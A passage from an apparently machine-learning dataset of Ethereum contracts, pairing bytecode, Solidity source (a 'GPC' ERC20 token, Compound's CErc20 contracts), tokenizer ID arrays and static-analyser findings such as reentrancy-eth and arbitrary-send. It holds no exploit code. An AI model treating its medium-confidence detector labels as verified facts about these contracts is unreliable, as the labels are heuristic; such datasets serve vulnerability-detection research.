5b60208082526014908201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604082015260600190565b60208082526025908201527f43616e6e6f7420736574207472616e73616374696f6e20616d6f756e74206173604082015264207a65726f60d81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526024908201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6040820152633ab73a1760e11b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252601f908201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604082015260600190565b60208082526038908201527f427579207472616e7366657220616d6f756e742065786365656473207468652060408201527f6d61784275795472616e73616374696f6e416d6f756e742e0000000000000000606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526023908201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6040820152626f636b60e81b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561345b5784516001600160a01b031683529383019391830191600101613436565b50506001600160a01b03969096166060850152505050608001529392505050565b9283526020830191909152604082015260600190565b60ff91909116815260200190565b600082198211156134b3576134b3613672565b500190565b6000826134d357634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116134ea5750612bc2565b8187048211156134fc576134fc613672565b8086161561350957918102915b9490941c9380026134db565b6000610ae060001960ff85168460008261353157506001610ae0565b8161353e57506000610ae0565b8160018114613554576002811461355e5761358b565b6001915050610ae0565b60ff84111561356f5761356f613672565b6001841b91508482111561358557613585613672565b50610ae0565b5060208310610133831016604e8410600b84101617156135be575081810a838111156135b9576135b9613672565b610ae0565b6135cb84848460016134d8565b8086048211156135dd576135dd613672565b02949350505050565b600081600019048311821515161561360057613600613672565b500290565b60008282101561361757613617613672565b500390565b60028104600182168061363057607f821691505b6020821081141561365157634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561366b5761366b613672565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461369d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209f852fda0bc1bd8d042dacd2dd2a1aa5900efa049f7a4824cae240c3afe0e62c64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2683, 2475, 2063, 2692, 26337, 2497, 12521, 2546, 2575, 2581, 2050, 2620, 2546, 2509, 2050, 2549, 2546, 17465, 2094, 2692, 2063, 22275, 19797, 2692, 2581, 2487, 11057, 2546, 2575, 29097, 1013, 1008, 100, 100, 100, 100, 100, 100, 2393, 2954, 4111, 18186, 1998, 7796, 19054, 1012, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 24392, 26775, 22571, 3406, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,142
0x964944eb8e707deec36af172ce2c6216d210a0c9
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // 'GPC' 'Green Piece' Smart Contract // // Symbol : GPC // Name : Green Piece // Total supply: 100,000,000 // Decimals : 18 // // // // (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and a // fixed supply // ---------------------------------------------------------------------------- contract GPC is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "GPC"; name = "Green Piece"; decimals = 18; _totalSupply = 100000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () external payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6080604052600436106100d5576000357c01000000000000000000000000000000000000000000000000000000009004806306fdde03146100da578063095ea7b31461016a57806318160ddd146101dd57806323b872dd14610208578063313ce5671461029b57806370a08231146102cc57806379ba5097146103315780638da5cb5b1461034857806395d89b411461039f578063a9059cbb1461042f578063cae9ca51146104a2578063d4ee1d90146105ac578063dc39d06d14610603578063dd62ed3e14610676578063f2fde38b146106fb575b600080fd5b3480156100e657600080fd5b506100ef61074c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012f578082015181840152602081019050610114565b50505050905090810190601f16801561015c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017657600080fd5b506101c36004803603604081101561018d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107ea565b604051808215151515815260200191505060405180910390f35b3480156101e957600080fd5b506101f26108dc565b6040518082815260200191505060405180910390f35b34801561021457600080fd5b506102816004803603606081101561022b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610937565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610be2565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d857600080fd5b5061031b600480360360208110156102ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf5565b6040518082815260200191505060405180910390f35b34801561033d57600080fd5b50610346610c3e565b005b34801561035457600080fd5b5061035d610ddd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ab57600080fd5b506103b4610e02565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103f45780820151818401526020810190506103d9565b50505050905090810190601f1680156104215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561043b57600080fd5b506104886004803603604081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea0565b604051808215151515815260200191505060405180910390f35b3480156104ae57600080fd5b50610592600480360360608110156104c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561050c57600080fd5b82018360208201111561051e57600080fd5b8035906020019184600183028401116401000000008311171561054057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061103b565b604051808215151515815260200191505060405180910390f35b3480156105b857600080fd5b506105c161128a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060f57600080fd5b5061065c6004803603604081101561062657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112b0565b604051808215151515815260200191505060405180910390f35b34801561068257600080fd5b506106e56004803603604081101561069957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611414565b6040518082815260200191505060405180910390f35b34801561070757600080fd5b5061074a6004803603602081101561071e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149b565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e25780601f106107b7576101008083540402835291602001916107e2565b820191906000526020600020905b8154815290600101906020018083116107c557829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610932600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461153a90919063ffffffff16565b905090565b600061098b82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a5d82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2f82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e985780601f10610e6d57610100808354040283529160200191610e98565b820191906000526020600020905b815481529060010190602001808311610e7b57829003601f168201915b505050505081565b6000610ef482600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8982600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112185780820151818401526020810190506111fd565b50505050905090810190601f1680156112455780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561126757600080fd5b505af115801561127b573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561130d57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156113d157600080fd5b505af11580156113e5573d6000803e3d6000fd5b505050506040513d60208110156113fb57600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114f657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561154b57600080fd5b818303905092915050565b6000818301905082811015151561156c57600080fd5b9291505056fea165627a7a72305820ca105616e744937de126090e10a0713a81904bccbcd099ba3c4f9f07c690e0310029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 21084, 2683, 22932, 15878, 2620, 2063, 19841, 2581, 26095, 2278, 21619, 10354, 16576, 2475, 3401, 2475, 2278, 2575, 17465, 2575, 2094, 17465, 2692, 2050, 2692, 2278, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 14246, 2278, 1005, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,143
0x96494f489702f5a3056d6efd57d97fa27c145521
pragma solidity ^0.5.16; import "./CToken.sol"; /** * @title Compound's CErc20 Contract * @notice CTokens which wrap an EIP-20 underlying * @author Compound */ contract CErc20 is CToken, CErc20Interface { /** * @notice Initialize the new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token */ function initialize(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { // CToken initialize does the bulk of the work super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set underlying and sanity check it underlying = underlying_; EIP20Interface(underlying).totalSupply(); } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { (uint err,) = mintInternal(mintAmount); return err; } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { (uint err,) = repayBorrowInternal(repayAmount); return err; } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { (uint err,) = repayBorrowBehalfInternal(borrower, repayAmount); return err; } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) { (uint err,) = liquidateBorrowInternal(borrower, repayAmount, cTokenCollateral); return err; } /** * @notice The sender adds to reserves. * @param addAmount The amount fo underlying token to add as reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { return _addReservesInternal(addAmount); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view returns (uint) { EIP20Interface token = EIP20Interface(underlying); return token.balanceOf(address(this)); } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case. * This will revert due to insufficient balance or insufficient allowance. * This function returns the actual amount received, * which may be less than `amount` if there is a fee attached to the transfer. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferIn(address from, uint amount) internal returns (uint) { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this)); token.transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was *actually* transferred uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this)); require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW"); return balanceAfter - balanceBefore; // underflow already checked above, just subtract } /** * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut(address payable to, uint amount) internal { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } } pragma solidity ^0.5.16; import "./CErc20.sol"; /** * @title Compound's CErc20Delegate Contract * @notice CTokens which wrap an EIP-20 underlying and are delegated to * @author Compound */ contract CErc20Delegate is CErc20, CDelegateInterface { /** * @notice Construct an empty delegate */ constructor() public {} /** * @notice Called by the delegator on a delegate to initialize it for duty * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public { // Shh -- currently unused data; // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == admin, "only the admin may call _becomeImplementation"); } /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public { // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == admin, "only the admin may call _resignImplementation"); } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param 